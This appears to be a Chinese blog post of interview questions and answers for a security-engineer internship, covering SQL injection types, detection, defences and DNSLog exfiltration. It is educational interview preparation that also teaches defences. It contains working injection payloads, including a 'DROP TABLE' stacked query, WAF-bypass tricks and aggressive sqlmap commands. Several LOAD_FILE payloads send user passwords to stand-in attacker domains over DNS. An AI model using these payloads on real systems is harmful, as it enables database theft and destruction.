2025年渗透测试面试题总结-某美团-安全工程师实习(题目+回答)

发布于:2025-03-25 ⋅ 阅读:(23) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

美团-安全工程师实习

一、SQL注入攻击类型及原理

1. 联合查询注入(Union-Based Injection)

2. 报错注入(Error-Based Injection)

3. 布尔盲注(Boolean-Based Blind Injection)

4. 时间盲注(Time-Based Blind Injection)

5. 堆叠注入(Stacked Queries Injection)

6. 二次注入(Second-Order Injection)

7. 宽字节注入(GBK Injection)

8. Out-of-Band注入(带外通道注入)

二、URL注入点检测方法

1. 初步探测:字符逃逸测试

2. 逻辑测试:布尔条件验证

3. 时间延迟测试

4. 联合查询验证

5. 报错函数触发

6. 自动化工具辅助

7. 绕过过滤技巧

三、SQL注入防御策略

1. 参数化查询(Prepared Statements)

2. ORM框架使用

3. 输入验证与过滤

4. 最小权限原则

5. 错误处理与日志

6. Web应用防火墙(WAF)

7. 安全编码规范

四、DNSLog注入详解(1000字)

1. 攻击原理

2. 适用场景

3. 检测与利用工具

4. 防御措施

美团-安全工程师实习

sql注入有哪些
URL如何判断是否存在注入
sql注入防范
DNSlog注入
一、SQL注入攻击类型及原理
1. 联合查询注入(Union-Based Injection)

原理:通过构造UNION SELECT语句合并合法查询与攻击者定义的恶意查询,从而从其他表中提取数据。
示例
/product.php?id=1' UNION SELECT username,password FROM users--+
关键条件

  • 原查询与UNION查询的字段数必须相同。
  • 数据库需返回完整查询结果(非部分截断)。
    检测方法
  • 使用ORDER BY递增数字确定字段数(如ORDER BY 5若报错则字段数小于5)。
  • 通过UNION SELECT NULL,NULL,...测试字段兼容性(部分数据库要求字段类型一致)。
2. 报错注入(Error-Based Injection)

原理:利用数据库函数或语法错误触发显式报错,将敏感数据通过错误信息回显。
常用函数

  • MySQLextractvalue(1,concat(0x7e,(SELECT @@version)))(利用XML解析报错)。
  • SQL ServerCONVERT(int, (SELECT @@version))(类型转换错误)。
    示例
    /search.php?q=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)--+
    优势:无需依赖页面内容显示数据,仅需观察错误信息。
3. 布尔盲注(Boolean-Based Blind Injection)

原理:通过页面返回的布尔状态(真/假)推断数据内容,适用于无报错且无数据回显的场景。
攻击流程

  1. 构造条件语句,如AND 1=1(页面正常)与AND 1=2(页面异常)。
  2. 逐字符猜解数据,如:
    /login.php?user=admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--+
    自动化工具:使用sqlmap --technique=B指定布尔盲注测试。
4. 时间盲注(Time-Based Blind Injection)

原理:通过数据库延时函数(如SLEEP())触发响应时间差异,判断注入条件是否成立。
示例
/profile.php?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)--+
(若数据库名首字母ASCII码为115即字母's',则页面响应延迟5秒)。
跨数据库差异

  • MySQLSLEEP(5)
  • PostgreSQLpg_sleep(5)
  • SQL ServerWAITFOR DELAY '0:0:5'
5. 堆叠注入(Stacked Queries Injection)

原理:利用分号;执行多条SQL语句,实现增删改查操作。
示例
/delete.php?id=1'; DROP TABLE users;--+
支持场景

  • PHP + MySQL默认不支持堆叠查询(需使用mysqli_multi_query)。
  • ASP + SQL Server通常支持。
    风险:可直接执行高危操作(如删除表、写入文件)。
6. 二次注入(Second-Order Injection)

原理:攻击数据先被存储(如用户注册),后续在另一个功能中被调用执行。
典型场景

  1. 注册用户名为admin'-- ,前端过滤但未转义。
  2. 密码修改功能调用用户名时触发注入:
    UPDATE users SET password='newpass' WHERE username='admin'-- '
    防御难点:需确保所有涉及数据库读写环节均进行过滤。
7. 宽字节注入(GBK Injection)

原理:利用数据库字符集转换漏洞(如GBK编码),绕过转义符(\)过滤。
示例

  • 输入%bf%27¿'),转义后变为%bf%5c%27(GBK解码为運'),导致单引号逃逸。
    防御:统一使用UTF-8编码,避免多字节字符集。
8. Out-of-Band注入(带外通道注入)

原理:通过DNS、HTTP等外部协议将数据外传,常用于无回显场景。
DNSLog注入示例(详见第四部分):
/api.php?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--+
依赖条件:数据库需具备外连权限(如MySQL的secure_file_priv为空)。


二、URL注入点检测方法
1. 初步探测:字符逃逸测试

步骤

  1. 在参数后添加单引号'、双引号"、括号)等,观察是否报错或页面内容变化。
  2. 测试注释符:-- (SQL Server)、#(MySQL)、/*(多行注释)。
    示例
    /product.php?id=1' → 返回数据库语法错误。
    /search?q=test" → 页面无结果,可能触发逻辑异常。
2. 逻辑测试:布尔条件验证

方法

  • AND 1=1 → 页面正常(如商品详情正常加载)。
  • AND 1=2 → 页面无数据(如商品消失)。
    进阶
  • 拼接永真/永假条件:OR 'a'='a'AND 'a'='b'
  • 验证数字型/字符型注入:id=2-1(若返回id=1的内容则为数字型)。
3. 时间延迟测试

Payload

  • MySQL:id=1' AND SLEEP(5)--+
  • SQL Server:id=1; WAITFOR DELAY '0:0:5'--
    判断依据:响应时间是否显著增加(需排除网络波动干扰)。
4. 联合查询验证

流程

  1. 使用ORDER BY确定字段数:
    /product.php?id=1 ORDER BY 5--+ → 若报错则字段数小于5。
  2. 构造UNION SELECT验证回显位:
    id=-1' UNION SELECT 1,2,3--+ → 页面显示数字2和3,则为可输出位。
5. 报错函数触发

Payload设计

  • AND updatexml(1,concat(0x7e,(SELECT user())),1) → 显示XPATH syntax error: '~root@localhost'
  • OR exp(~(SELECT * FROM (SELECT version())x)) → 触发双查询报错。
6. 自动化工具辅助

sqlmap命令示例

bashsqlmap -u "http://example.com/product.php?id=1" \ --batch \ --risk=3 \ --level=5 \ --technique=BEUSTQ 

参数说明

  • --technique:指定注入技术(B:布尔盲注, E:报错注入, U:联合查询, S:堆叠注入, T:时间盲注, Q:内联查询)。
  • --risk=3:允许使用高风险Payload(如OR条件)。
7. 绕过过滤技巧

常见绕过方法

  • 大小写混写UnIoN SeLeCt
  • URL编码%20替换空格,%27替换单引号。
  • 双写关键词UNIUNIONON SELECT(若过滤UNION则为UNIONON)。
  • 注释符分割SEL/**/ECT

三、SQL注入防御策略
1. 参数化查询(Prepared Statements)

原理:将SQL语句与数据分离,数据库预编译模板后仅处理参数值。
代码示例(Python)

pythoncursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

支持框架

  • Java:PreparedStatement
  • PHP:PDO($stmt->bindParam())。
2. ORM框架使用

优势:通过对象映射避免手动拼接SQL。
示例

  • Django ORM:User.objects.filter(id=user_id)
  • Hibernate:session.createQuery("FROM User WHERE id = :id").setParameter("id", user_id)
3. 输入验证与过滤

策略

  • 白名单验证:如数字型参数仅允许[0-9]
  • 黑名单过滤:禁用UNIONSELECT等关键词(需谨慎,易被绕过)。
4. 最小权限原则

数据库账号配置

  • 禁止使用rootsa账号连接应用。
  • 限制权限:仅授予SELECTINSERT等必要权限,禁用FILEEXECUTE
5. 错误处理与日志

要求

  • 前端返回通用错误信息(如“系统错误”)。
  • 日志记录完整错误详情,但避免泄露数据库结构。
6. Web应用防火墙(WAF)

功能

  • 拦截包含UNIONSLEEP等特征的请求。
  • 配置正则规则:如/\bUNION\b.*\bSELECT\b/i
7. 安全编码规范

规则示例

  • 禁止动态拼接SQL(如"SELECT * FROM " + tableName)。
  • 统一使用参数化接口(如MyBatis #{}占位符)。

四、DNSLog注入详解(1000字)
1. 攻击原理

流程

  1. 构造Payload触发数据库发起DNS查询。
  2. 查询内容包含敏感数据(如SELECT user())。
  3. 攻击者通过DNS日志获取数据。

示例Payload(MySQL)

sql' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog-attacker.com\\test'))--+ 

关键函数

  • LOAD_FILE():读取文件(需FILE权限)。
  • CONCAT():拼接域名和数据。
2. 适用场景
  • 目标数据库允许外连(secure_file_priv为空)。
  • 注入点为盲注且无回显。
3. 检测与利用工具
  • DNSLog平台:ceye.io 、dnslog.cn (提供临时域名收集查询记录)。
  • sqlmap集成
bashsqlmap -u "http://example.com/vuln.php?id=1" \ --dns-domain dnslog-attacker.com \ --technique=BEUST 
4. 防御措施
  • 限制数据库外连权限(配置防火墙规则)。
  • 禁用FILE权限和危险函数(如LOAD_FILE())。
  • 过滤输入中的特殊字符(如\.)。

网站公告

今日签到

点亮在社区的每一天
去签到